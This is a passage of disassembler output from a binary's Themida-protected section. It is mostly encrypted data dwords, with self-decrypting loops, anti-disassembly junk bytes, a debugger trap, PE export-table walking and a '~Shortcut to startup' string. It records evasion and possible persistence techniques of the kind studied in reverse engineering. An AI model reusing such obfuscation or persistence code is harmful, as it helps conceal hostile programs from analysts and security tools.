0B2ADD788h, 0E9099E33h, 5A8A9E43h, 13A514CAh, 0A0984214h dd 2283F1B0h, 0A68C988Ah, 4EDC4C5Fh, 0A68C2636h, 0FE4F4B15h dd 0A2A8CDBCh, 0A2A880B4h, 0A68C622Dh, 124F6175h, 0DB8AE718h dd 0A229C1BEh, 9E0C2021h, 87091CDDh, 268C8935h, 0DE0C6FF2h dd 23831130h, 0A68C3121h, 4D53638Ah, 0A1F4CC41h, 54082966h dd 1F8C1335h, 0E9C82344h, 29B44553h, 0C2096D30h, 268C3135h dd 0A9E49E4Dh, 0A68C16B0h, 6C074035h, 0ADF49253h, 2383ACCAh dd 0A68CC47Eh, 4EDE625Fh, 0A68C3136h, 0FC4FC215h, 0A2A818BCh dd 0A2A862B4h, 0A68C132Fh, 3C4FDB77h, 20C6D02h, 465330Eh dd 0CC8C3135h, 0A564CD35h, 868C4C35h, 2FD1E568h, 27883759h dd 0B188AD71h, 0E38CC435h, 0DAD6A160h, 27EA48A1h, 1EA654D6h dd 0A68C4C35h, 4EDA265Fh, 0A68C1336h, 0F84FD715h, 0A2A8B0BCh dd 0A2A826B4h, 0A68C312Eh, 244FCE73h, 0CBB6FF08h, 262A48FBh dd 0AA658FC7h, 0F68C8935h, 849E55C5h, 7A7690CAh, 4F94F826h dd 0A68C9876h, 4ED94C5Fh, 0A68C2636h, 0FB4F4E15h, 0A2A8E5BCh dd 0A2A880B4h, 0A68C6220h, 7C4F6470h, 2D83F898h, 0A68C4C33h dd 0A68CAF3Ah, 670D1335h, 0D10A1B02h, 0A00CCB54h, 2D8C6235h dd 0B295D8A0h, 0A68D2033h, 36754C35h, 0AE644665h, 9D8C1335h dd 4DFD7F03h, 4EA9F5F5h, 0A68C6232h, 640E1B25h, 0F94B34A4h dd 6C072A6Bh, 650DB654h, 9BE66C8Ch, 0E2E634B8h, 2B01C22Ch dd 0A0952B58h, 0C0D9128Dh, 0A7099B42h, 8D8A582Ch, 34A632FAh dd 882FF24Dh, 33B2ADD7h, 43E9099Eh, 0CA5A8A9Eh, 1413A514h dd 0B0A09842h, 0F305E983h, 0B96658A4h, 66508CDFh, 0F5FD68Bh dd 888h, 9D8B5000h, 6140BF5h, 0B59D8B59h, 0B06142Ch, 4F840FC0h dd 8B000000h, 1431959Dh, 79B58D06h, 0BF06144Dh, 31C5AD5Dh dd 3B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F04E12Dh, 0D8Ch, 8E900h, 86310000h dd 0B989DAFDh, 0E6FF4E98h, 4DBD8Bh, 80400614h, 0C08B52E2h dd 1941958Bh, 0BD830614h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 403B8h, 0C1858900h, 8D061430h dd 16B7A19Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 403B8h, 0C1858900h, 8D061430h, 16B4429Dh, 5BD3FF06h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0E9F88D40h, 0F51D38B4h, 9D337C5Bh, 6140F6Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h dd 2A75BDF2h, 6E3A9AB5h, 0F98B665Ah, 223DBD8Bh, 0C08B0614h dd 6CE1B966h, 448D8D61h, 8906194Bh, 141B71B5h, 298D8906h dd 0B4061432h, 4D85C721h, 0F0061406h, 6A00006Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8981C357h, 1422358Dh, 7185C706h, 61426h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 2914C351h, 14265995h, 19B5FF06h, 0F061423h dd 485h, 68B86600h, 6195FF4Fh, 0B8061423h, 50B34740h, 95FF006Ah ; --------------------------------------------------------------------------- loc_59D720: ; DATA XREF: Themida_:0054AE14o imul edx, [ecx], 0C08B0614h jmp short loc_59D746 ; --------------------------------------------------------------------------- dd 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 22FA2CDh, 0B1D28087h dd 0A8DA9290h, 0A9BE38FFh db 69h, 0F9h ; --------------------------------------------------------------------------- loc_59D746: ; CODE XREF: Themida_:0059D726j lea ecx, [ebp+6194C00h] mov [ebp+61413DDh], esi mov [ebp+6143229h], ecx push 0 push ebx call sub_59D763 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D763 proc near ; CODE XREF: Themida_:0059D75Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_59D763 endp ; --------------------------------------------------------------------------- db 0FEh dd 0F1214DB3h, 0C3BF0F6Eh, 64D85C7h, 71700614h, 0BD8B0000h dd 614109Dh, 267185C7h, 614h, 0BD8B0000h, 6142D05h, 0D49B5FFh dd 95010614h, 6140E15h, 236195FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8C20FEC3h dd 0F2C36B70h, 820FD5F6h, 0 ; --------------------------------------------------------------------------- push 0 call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_59D82D ; --------------------------------------------------------------------------- dd 8B3BD6B5h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h dd 0B6C16A88h, 63C9AC73h, 0BB864767h, 29C3B808h, 0E7368A6Bh dd 7BD3E0D1h, 406561FEh, 0C32A9319h, 3900823h, 0B1277CFBh dd 852A6553h, 28637CD7h, 151CD69Ch db 0BEh ; --------------------------------------------------------------------------- loc_59D82D: ; CODE XREF: Themida_:0059D7E2j call sub_59D83A loc_59D832: ; DATA XREF: Themida_:00549B14o inc edi rcr byte ptr [esi], cl shl edx, 0C2h mov cl, 0E0h ; =============== S U B R O U T I N E ======================================= sub_59D83A proc near ; CODE XREF: Themida_:loc_59D82Dp cld pop esi add [ebp+6140F35h], esi add esi, 748Bh sub [ebp+614038Dh], edi mov eax, 0 cld loc_59D854: ; CODE XREF: sub_59D83A+64j mov edi, [esi+eax] sub dh, 0FCh xor edi, 7D2E7CA9h xor ecx, [ebp+61431A5h] add edi, 66ABE377h mov ecx, [ebp+614263Dh] xor edi, 38D16957h xor ecx, [ebp+6142FB9h] mov [esi+eax], edi add ebx, [ebp+6142C41h] mov cl, 13h sub eax, 4 jz loc_59D898 add [ebp+6141111h], ecx loc_59D898: ; CODE XREF: sub_59D83A+52j cmp eax, 0FFFF8BE4h jnz loc_59D854 cmc call sub_59D8B6 mov bh, 0Dh db 64h pop edi retn 1A8Ch sub_59D83A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0DCh, 33h, 75h db 40h, 89h ; =============== S U B R O U T I N E ======================================= sub_59D8B6 proc near ; CODE XREF: sub_59D83A+6Bp mov [ebp+61405B1h], edi pop ecx mov ebx, [ebp+6142115h] add ecx, 6E48h mov edx, 47DE1423h xor edx, 47DE0F7Dh mov esi, [ebp+614150Dh] loc_59D8DA: ; CODE XREF: Themida_:0059D969j mov edi, [ecx] mov [ebp+6140041h], esi xor edi, 3D20CE8Ah mov ebx, [ebp+61434A5h] add edi, 6B5A1B8Ch mov ebx, edi add edi, 52857F22h ja loc_59D903 stc loc_59D903: ; CODE XREF: sub_59D8B6+46j push edi pusha push edi call near ptr loc_59D914+1 inc ebp pop edi std stc or eax, 0C0BAB666h loc_59D914: ; CODE XREF: sub_59D8B6+50p db 36h pop eax sub_59D8B6 endp ; sp-analysis failed pop ecx cld popa pop dword ptr [ecx] mov [ebp+61400EDh], ecx sub ecx, 0F55603Ch jb loc_59D933 or [ebp+6143195h], ebx loc_59D933: ; CODE XREF: Themida_:0059D927j add ecx, 0F556038h jmp loc_59D94A ; --------------------------------------------------------------------------- dw 0B64Ch ; --------------------------------------------------------------------------- adc [esi+45785B31h], bh xchg eax, esp add [esi+9], dl loc_59D94A: ; CODE XREF: Themida_:0059D939j sub edx, 1 jnz loc_59D967 and ax, 9B6Ch jmp loc_59D97E ; --------------------------------------------------------------------------- db 0D7h, 7Ch, 63h ; --------------------------------------------------------------------------- sub [esi+edx*8-341EAE4h], bl loc_59D967: ; CODE XREF: Themida_:0059D94Dj mov esi, edi jmp loc_59D8DA ; --------------------------------------------------------------------------- dw 8562h dd 0D89F0BDFh, 0B70B371Ch, 4A7AD181h db 0E8h, 67h ; --------------------------------------------------------------------------- loc_59D97E: ; CODE XREF: Themida_:0059D958j ; DATA XREF: Themida_:00548CCCo lea ecx, [ebp+6194E2Dh] or bx, 23A6h mov [ebp+6143229h], ecx mov di, dx sub edi, [ebp+61406BDh] mov dword ptr [ebp+614064Dh], 5E20h push ecx jnb loc_59D9AF mov [ebp+61400C1h], ebx loc_59D9AF: ; CODE XREF: Themida_:0059D9A3j pop eax jno loc_59D9BC mov eax, [ebp+6143129h] loc_59D9BC: ; CODE XREF: Themida_:0059D9B0j mov dword ptr [ebp+6142671h], 0 push 0 push edi call sub_59D9D1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D9D1 proc near ; CODE XREF: Themida_:0059D9C9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_59D9D1 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- sahf db 2Eh pusha cld sbb edx, 463D7096h popa push dword ptr [ebp+6141071h] mov [ebp+6142A39h], ecx call dword ptr [ebp+6142361h] or [ebp+6141B1Dh], edx push 0 loc_59DA07: ; DATA XREF: Themida_:0054B618o call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_59DA20 ; --------------------------------------------------------------------------- db 64h, 0F7h, 79h dd 8E91436h, 512E1B66h, 3935253Fh ; --------------------------------------------------------------------------- loc_59DA20: ; CODE XREF: Themida_:0059DA0Fj jmp loc_59DAD5 ; --------------------------------------------------------------------------- pusha mov dx, ds test dl, 4 jnz loc_59DA3E cmp eax, [ebp+6141145h] jz loc_59DA74 loc_59DA3E: ; CODE XREF: Themida_:0059DA2Cj cmp eax, [ebp+6140931h] jz loc_59DA74 cmp eax, [ebp+6143481h] jz loc_59DA74 cmp eax, [ebp+61431FDh] jz loc_59DA74 cmp dword ptr [ebp+6142C59h], 1 jz loc_59DA74 jmp loc_59DAD3 ; --------------------------------------------------------------------------- loc_59DA74: ; CODE XREF: Themida_:0059DA38j ; Themida_:0059DA44j ... mov edx, eax add edx, [edx+3Ch] mov edi, [edx+88h] mov ecx, [edx+78h] test ecx, ecx jz loc_59DAD3 add edx, 0F8h mov esi, [edx+0Ch] add ecx, eax mov ebx, [ecx+1Ch] mov edx, [ecx+14h] add ebx, eax loc_59DA9D: ; CODE XREF: Themida_:0059DABBj mov ecx, [ebx] test ecx, ecx jz loc_59DAB7 cmp ecx, esi jb loc_59DAC6 cmp ecx, edi jnb loc_59DAC6 loc_59DAB7: ; CODE XREF: Themida_:0059DAA1j add ebx, 4 dec edx jnz loc_59DA9D jmp loc_59DAD3 ; --------------------------------------------------------------------------- loc_59DAC6: ; CODE XREF: Themida_:0059DAA9j ; Themida_:0059DAB1j lea ebx, [ebp+6144D79h] mov eax, 5 jmp ebx ; --------------------------------------------------------------------------- loc_59DAD3: ; CODE XREF: Themida_:0059DA6Fj ; Themida_:0059DA84j ... popa retn ; --------------------------------------------------------------------------- loc_59DAD5: ; CODE XREF: Themida_:loc_59DA20j or edx, eax lea ebx, [ebp+6142E5Dh] mov eax, 2Ah mov [ebp+614265Dh], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_59DB24 ; --------------------------------------------------------------------------- word_59DAFA dw 0 ; DATA XREF: Themida_:0054BA3Co dd 9 dup(77E6h), 0FFFF77E6h ; --------------------------------------------------------------------------- loc_59DB24: ; CODE XREF: Themida_:0059DAF5j call sub_59DB3D inc esi adc al, 0F9h xchg eax, esi das db 36h mov dl, 3 fisttp qword ptr [eax] call far ptr 5DF6h:8A2B001Fh int 3 ; Trap to Debugger push es cld ; =============== S U B R O U T I N E ======================================= sub_59DB3D proc near ; CODE XREF: Themida_:loc_59DB24p var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h ; FUNCTION CHUNK AT 0055D2A6 SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0055EDD0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055F46F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005604E1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005613D2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00564C9E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565171 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00566AEA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005697D7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056A3A8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056A7B7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AB8C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BFB2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056BFE1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056C225 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C717 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056CA75 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005701F9 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 005705C6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00570B64 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570CF1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00570DE7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571354 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005718B3 SIZE 0000000F BYTES mov ah, 36h pop esi mov ah, bh add esi, 69E8h mov al, bl push 1A4Eh push ebx add ebx, 75841C84h pop eax pop edx jmp loc_59DB71 ; --------------------------------------------------------------------------- or [edx-63C8E804h], ecx xlat lea esi, ds:81403D91h add al, 74h cmp eax, 21B46085h loc_59DB71: ; CODE XREF: sub_59DB3D+1Bj ; sub_59DB3D+8Bj mov edi, [esi] jmp loc_59DB82 ; --------------------------------------------------------------------------- dd 222462D8h, 33F04211h db 0C9h, 78h ; --------------------------------------------------------------------------- loc_59DB82: ; CODE XREF: sub_59DB3D+36j sub edi, 501DA5D9h jmp loc_59DB95 ; --------------------------------------------------------------------------- db 7Eh, 0EBh, 77h dd 67BAE7F9h db 74h ; --------------------------------------------------------------------------- loc_59DB95: ; CODE XREF: sub_59DB3D+4Bj sub edi, 62D57155h mov ecx, edi xor edi, 7DD0EAF2h mov bx, 883Ah mov [esi], edi jmp loc_59DBB5 ; --------------------------------------------------------------------------- les eax, [eax] db 26h and al, 66h call dword ptr [esi] loc_59DBB5: ; CODE XREF: sub_59DB3D+6Cj sub esi, 1 sbb cl, 0C6h dec esi dec esi dec esi pusha mov di, 7Eh mov bx, dx popa dec edx jnz loc_59DB71 pusha or dx, 0F29Ch push edx loc_59DBD5: ; DATA XREF: Themida_:0054A294o jp $+6 pop edx popa jmp loc_59DC56 ; --------------------------------------------------------------------------- dw 117Ah db 19h aShortcutToStar db '~Shortcut to startup',0 align 4 dd 16h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DC56: ; CODE XREF: sub_59DB3D+A0j jmp loc_59EBC4 ; --------------------------------------------------------------------------- push 6195219h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 6195356h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 61954BAh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 61954F9h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 61955B9h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619566Bh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 6195A92h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 6195D15h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 6195E5Ah jmp loc_55D2A6 ; --------------------------------------------------------------------------- db 0AFh, 5Dh, 15h dd 98D23044h, 1D4DB3C7h, 9FC9384Ch, 264CBACEh, 0AE9B4055h dd 35491A58h, 0BDD1A2CEh, 43572848h, 79DBACBCh, 4A049834h dd 29873046h, 0C489ECE4h, 0A3DB9570h, 659EF52Ch, 4226D9E7h dd 0AEBA4589h, 0F0F109DDh, 2AA8912Dh, 3CCD3410h, 0F18D1083h dd 3041295Dh, 8A164FE0h, 304129F2h, 5B0660C6h, 6FA748B8h dd 65ABh, 56AAAD00h, 5FF38FAFh, 0DA2A2CF9h, 7D80B849h dd 0B3AC10CCh, 2F474B84h, 96CF6B2Eh, 0DB341103h, 912FBEA3h dd 0B0E80252h, 0EF12123Fh, 0F1B445AFh, 0CE07639Dh, 0E141D965h dd 33D33041h, 0C042863Fh, 0B3C9F1AAh, 115FA4B3h, 0AEC82E80h dd 71CD368Ah, 41E141D5h, 9A2BBC30h, 2D67A0E1h, 6FA8038Ah dd 0B87Dh, 26D97F00h, 0C2168942h, 0AEF22B3Dh, 1D611A58h dd 89CD86E2h, 0C521F276h, 2A2C0676h, 9A6BFD02h, 6CFC0357h dd 0F53972B3h, 32A55E0Ah, 0FD7F13AFh, 69FA2A2Ch, 13142C30h dd 23E3B450h, 0D5663410h, 7C9C104h, 0CB5FFBF4h, 4E30410Ch dd 4ABE85BDh, 41D29669h, 0EBEC0408h, 2D2A8C28h, 0D0613A28h dd 254DB90Dh, 0ACC64054h, 0BB46BCE3h, 9CEA65E0h, 0D1Eh dd 87581AF2h, 0ADB8F73h, 8F600AF6h, 11E2867Bh, 986909FDh dd 15F15E83h, 8B788C5Dh, 50014E5h, 79869A6Bh, 77BC1EEFh dd 464C47DBh, 1464C230h, 82452DD9h, 0DC95D32Eh, 0CDE1629Bh dd 9ED23332h, 4213A4E5h, 0CE0119F4h, 2CF99E32h, 0FF90212Ah dd 2067A03Ch, 76CA3410h, 0E92AE38Dh, 7C0B055h, 0A93A8DC6h dd 13CC64F0h, 3AA03041h, 8A04FC3Ch, 2DBBDBC3h, 0E78AC4FDh dd 0DA6FA7ADh, 0F6h, 4226D9DCh, 94D42B7Fh, 58AEF25Bh, 214E6E73h dd 0ED12369Fh, 0F081C27Bh, 0EC7A95Ch, 81793CCDh, 7D882691h dd 0C1F93AF3h, 23B326E0h, 97C4EEB9h, 56EA738h, 2CD52A79h dd 97D12E2Ah, 0E94DB2C6h, 2DC4B94Dh, 5FA0342Ah, 7E0F5009h dd 2CD62AEDh, 0BC9D853Eh, 0A013D75Dh, 0EA538C1Dh, 8BDF2377h dd 545891D2h, 0A2CB383Ch, 14550E64h, 932FF283h, 3410F6C2h dd 9ACE33C7h, 4C643809h, 0CF34884Bh, 0C73FD36Fh, 29BA3041h dd 659EDF98h, 82E556F2h, 97283A28h, 21B551D4h, 0AB2A2F73h dd 0AC6F1256h, 2F727C10h, 0DD6EFF2Ah, 29DD31A4h, 0A2647849h dd 0F49E07D0h, 9C17E0BBh, 0BE14Eh, 95DD2F00h, 1852B0C4h dd 9DCD3347h, 1F49B8CCh, 0A6CC3A4Eh, 2E1BC0D5h, 0B5C99AD8h dd 3D51224Eh, 0C3D7A8C8h, 0F95B2C3Ch, 4C8418B4h, 0A9073046h dd 452DD959h, 0C99F6074h, 26D9AAF8h, 0BA458942h, 0F109DDAEh dd 912DF0h, 85341025h, 17AF3BF4h, 0EB30411Dh, 0DD80E185h dd 8A6FA73Fh, 0A6D6D792h, 114A86D2h, 7E4h, 37CFE600h, 0FF000008h dd 3D000119h, 0B7CA2C45h, 0A8E0A096h, 2AA953E8h, 0E45790BAh dd 10EDF748h, 20D96A34h, 744523DCh, 2229F60h, 0BDF2D317h dd 87FAB344h, 110B7E8Fh, 8CC5F96Fh, 0F4F18E00h, 3D398D99h dd 0D093D52Ah, 2DE6847Ch, 9A5317E9h, 0E8FC859h, 0AA6305FAh dd 7DE7851Eh, 7EF85C8Bh, 0B64F16E9h, 51393E13h, 0D9E5684h dd 867F1354h, 748859EAh, 0B124DD8Bh, 0FC8A85Dh, 6C0995CEh dd 9A8B7D47h, 4AB5A2C4h, 0C6394D1Eh, 520B679Fh, 0C3C78011h dd 4BE7AAABh, 0D2BFCAFAh, 0E40DDE6Fh, 40415925h, 0B020E17Dh dd 9425CCCBh, 680487BCh, 0C8DC84D4h, 18DC657h, 0AACD64D6h dd 0ED1D2EAh, 0CF92AD72h, 46FF9074h, 0BA822A42h, 0F752CBD8h dd 9DD330C4h, 4F12A3E4h, 0BEA970B3h, 9A36B97Ah, 6AE9A906h dd 6CBFF889h, 3BC418DBh, 0B7485C2Dh, 2285E8B1h, 8B06A005h dd 0A7D3Dh, 0F9799300h, 7CEE1428h, 16997ABh, 83E51C30h dd 0A689EB2h, 92FF2439h, 192DFE74h, 0A1B586EAh, 273B0C64h dd 5DBF90D8h, 4DE87C18h, 5633046h, 4226D9B5h, 0B98D0479h dd 0A8F671E0h, 0A3Eh, 67383AD2h, 0EABBAF53h, 6F402AD6h dd 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh, 25E0F4C5h dd 99667A4Bh, 579CFECFh, 464E27BBh, 0F444A230h, 894226D9h dd 0E37FC145h, 2A2CF94Fh, 0A04327D9h, 84AD7E0Fh, 0E0E1F985h dd 1FC0811Dh, 34C53410h, 87E31D71h, 8B558DCEh, 0B511FA33h dd 0DC2AB2EBh, 0EE7E4987h, 75383951h, 0CF88E021h, 6709FA8Eh dd 0C1346DAEh, 0B9DA6025h, 934CDDFBh, 3937CC20h, 0E3E4FC00h dd 0B418420h, 0B748F5D1h, 625FA0F4h, 75944AC1h, 0F13C2003h dd 0D6897CB4h, 9C1FE273h, 0D7E56C00h, 9B5EEFF1h, 0D7E56BFFh dd 245DEEF1h, 0F8708FA3h, 1361402Fh, 98E66127h, 97Eh, 27F87A92h dd 0AA7BEF13h, 2F006A96h, 0B182E61Bh, 3809699Dh, 7591FE23h dd 0EB182CFDh, 65A0B485h, 0D9263A0Bh, 175CBE8Fh, 464EE77Bh dd 0B4046230h, 7F4226D9h, 0DA93D72Bh, 0B3F76099h, 0BC50EC52h dd 3F2A2CF9h, 591256ABh, 33F68718h, 0BB4423DFh, 22631CADh dd 580C68E9h, 0F32A2CF9h, 4D06629Fh, 0B7CFD30Ch, 1C70F3B6h dd 8BCC85E3h, 4A2FC652h, 368A3415h, 46679FC9h, 0C48C0982h dd 69FA4D86h, 0BBAD52A6h, 665BA4F8h, 0D3F129A4h, 0DF9829B8h dd 0D0E4659Eh, 3C80392Fh, 46DA76CAh, 0C93046C8h, 0AAEEA738h dd 34C155Bh, 2CE6A043h, 8CC63B1h, 0C8440000h, 3DC5D9AAh dd 0B8485C2Dh, 34CDE1B2h, 0B74F6334h, 20D5EABBh, 0DEAFC343h dd 663739CAh, 0ECBDB352h, 704127D8h, 992DC90Eh, 1430464Fh dd 26D966B6h, 0C2168942h, 2D1A843Dh, 1514236Bh, 518ACB84h dd 0B376F20Dh, 7C009430h, 0EA7B2A2Dh, 8AC3AD56h, 4525DD21h dd 0B2B8488Ch, 0D096FAF9h, 5FF07887h, 9DCAAC10h, 2B350662h dd 69939E88h, 51D7Bh, 1197D00h, 0AA13D00h, 8F34154Ah, 18E73BFEh dd 8DAB7F50h, 804FDB94h, 5AA7D1BDh, 4CEF72F4h, 3FE90854h dd 54h, 2FB1941h, 0FA0FA33Fh, 0F98A2A2Ch, 67E0B440h, 9C6A4AC3h dd 27D91DD6h, 0F3ACC640h, 246821B2h, 96D790E2h, 0E1471F03h dd 945BB145h, 0A9B2C4Ah, 4D1452B8h, 89FA7AAAh, 6BFF0357h dd 0B3871B2h, 10h, 26E22018h, 0F82C7EB3h, 49CF41BFh, 0FF000002h dd 3F02FB19h, 0F98C20BCh, 737A2A2Ch, 6D8A228Ch, 95CE5F02h dd 93D1A02Ch, 43A9A1B8h, 669B3E23h, 278EE2FFh, 90000000h dd 4902FB19h, 0B86E55BDh, 0C3A309A1h, 0FF84FB9Eh, 0AC54A8E2h dd 30C405BEh, 315E97D1h, 81h, 5416EA3Eh, 0FB199D1Bh, 15EB3F02h dd 0DA91C55h, 2A2CF979h, 21B551D4h, 9C2A2CFAh, 0EE7FD20Bh dd 422ED72Bh, 0EB5FD909h, 0A5F9EE0Ah, 40D40D5Dh, 5B983B26h dd 468B6993h, 8D000000h, 1B66B2AAh, 4673EC17h, 0F1E860Eh dd 82BB2681h, 0A467607Eh, 2D577208h, 8768F92Ah, 0C184A95Eh dd 0DC85B5C9h, 4D8E4729h, 0A3F1F15h, 77B871F7h, 5D19ADE6h dd 938C7114h, 76469h, 0CF660000h, 180h, 0C2B2AAFFh, 2E47933Fh dd 0EE821EE1h, 712A2D91h, 0D59A7E0h, 89000001h, 4902FB19h dd 0DC44FABDh, 3C3AA085h, 49DD79FCh, 0C47F7D3Dh, 1DC0FA33h dd 10BEE35Bh, 0C8h, 6AFE9A1Dh, 0F47F7D34h, 61A25B0Dh, 76F42DBEh dd 0F78B27AAh, 0DD2A2CF9h, 25127583h, 0CB5CFF8Dh, 77708E92h dd 0B38418B4h, 0EFE72A2Dh, 5548C01h, 2425901Eh, 71D84758h dd 0C354A7E0h, 13067E0Ah, 74DA4A0Dh, 0E1CC6FF2h, 257989B3h dd 27548DDDh, 50h, 922EB134h, 4A4DB2FEh, 8014F081h, 0FB4A4DB2h dd 0AAB3316Ah, 8C1AF56h, 9E2F41C4h, 4A436165h, 0F957EB87h dd 41D22A2Ch, 2A84FC88h dd 13589D0Ch, 0A8CA3C90h, 3ED2AEEFh, 0C1974D27h, 363F730h dd 0B345BB5Eh, 2AAED6h, 67BB0000h, 1795CE9Ah, 0F78B27AAh dd 722A2CF9h, 0B94A28DEh, 923280h, 756D0000h, 45E17319h dd 2A2DA4B1h, 0F3639B2Ch, 2EACE5E7h, 0BCA956AAh, 2E6F284Ah dd 6AA3E49Dh, 0D68FD926h, 2CF9B14Ah, 6ABE032Ah, 0DC1DD69Ch dd 570FA3h, 4A9869FFh, 0F78B27AAh, 722A2CF9h, 0C199143Ah dd 52E3E9A9h, 0FEF71519h, 881CB83Bh, 32A2D7Ah, 65A83972h dd 4A820B6Dh, 2B643830h, 7A3DF0D2h, 0DA93DD26h, 0AACC6099h dd 2C0A9775h, 58FA842Ah, 3699325h, 0FE50E480h, 3ACB2A2Ch dd 0B7B8A602h, 3069A40Fh, 0FFFE9F03h, 5BCF05FFh, 0FF000002h dd 0F78B27AAh, 722A2CF9h, 0F97F13AFh, 69FA2A2Ch, 6BB8A0D8h dd 0FC091689h, 0E8807FC3h, 5414EB2Fh, 9697AF83h, 674E37D3h dd 22B33410h, 745DD69h, 0B3193041h, 250BAEB3h, 48FE6FA7h dd 0B000000h, 0E81E49B7h, 5840F98Ah, 5C90CCFDh, 0A43D498h dd 1198Ch, 9C2BA3Dh, 0C893DC9Ah, 0E70315FEh, 59D4DFAFh dd 0A85B9420h, 0E61E3410h, 675B0A0Ah, 8740D1ABh, 419463FBh dd 95D13730h, 0A7B729CCh, 0C11C6Fh, 0D91E0000h, 0A6C23F26h dd 1256A9EDh, 0F337F081h, 489C5F13h, 0BAFBB4BEh, 22A51881h dd 7D3634CEh, 0F9CC603Ch, 932F2A2Ch, 2A2CF9FFh, 0B546E97Ah dd 0A1C7387Ch, 0D5BA4E8h, 591E03Ch, 58A72A2Ch, 0BB74F40Dh dd 0D518E97Ah, 35EE8281h, 9FB7BBF4h, 483FDB9Eh, 913413BAh dd 1DE93D00h, 96708455h, 3DD013DCh, 7EF9E6AFh, 4A530h dd 0D1A16B00h, 5416EC00h, 0D9916F83h, 5B0DF408h, 0E290768Ah dd 6AC7FC11h, 0F105D69Ch, 798D5E12h, 0FF13E48Ch, 35976800h dd 53C054F0h, 0DD3B3046h, 452DD98Dh, 0C99F6074h, 194FB206h dd 0BD51ED60h, 402A2CF9h, 64E51EAFh, 20E32921h, 0AC3AD56h dd 6E8C91C9h, 0D9EF6DA6h, 0FC7F4226h, 2CF9CC60h, 0FBBE4F2Ah dd 2CF9CB5Fh, 84BD4E2Ah, 4028D71Bh, 82839B6Fh, 0D8986BBFh dd 3F902C9Fh, 4234101Ah, 0D26CF8B1h, 0AD304119h, 627A2D49h dd 0B1029E61h, 0B43A2439h, 667E5223h, 0FA039733h, 6A952A2Ch dd 610445FEh, 0E07C3FD0h, 34154949h, 287C3FD0h, 96D790DAh dd 6A96EA5Dh, 1AE93D00h, 599C1D56h, 49A63AD6h, 0C7383046h dd 346DFEA1h, 464A16A8h, 0E9196D30h, 5A16ED81h, 4828DD21h dd 545977h, 91890000h, 2A2CF9F9h, 0E4B5ACCBh, 813A30D0h dd 2CF961F5h, 5414EB2Ah, 1BAE579Bh, 90BC11D9h, 9E57E807h dd 2F3B3B9Fh, 63C5A1B7h, 417AF60Fh, 966703FDh, 34ED8382h dd 2DB90FA8h, 964A12Ah, 7ABB74FCh, 14EC30E9h, 3A9E9D56h dd 0D97D2E3Ch, 353BCA9Dh, 2CD91664h, 0BE478B44h, 4CB5F9B2h dd 54F0631Ch, 2A2CF9C0h, 0EF16AA3Bh, 0D92DC881h, 1A7ECD9Dh dd 76FA0B5Ch, 14AD49A5h, 0E8722A2Ch, 69932A46h, 0FFFF7A37h dd 56AA39FFh, 0C506BFA9h, 0B1B7488Ch, 1D4BB4F8h, 5F60784Ch dd 0DBE489Ch, 0E3B5C8BEh, 0FC859AEh, 862295CEh, 3411109Dh dd 0A964FE0h, 3041CF72h, 0DB86E046h, 6FA7EE38h, 4B2Bh dd 1192D00h, 1CE93D00h, 8356B0ADh, 52E36B29h, 0C2AE5599h dd 0FE37C809h, 0E985088Bh, 2A2D9455h, 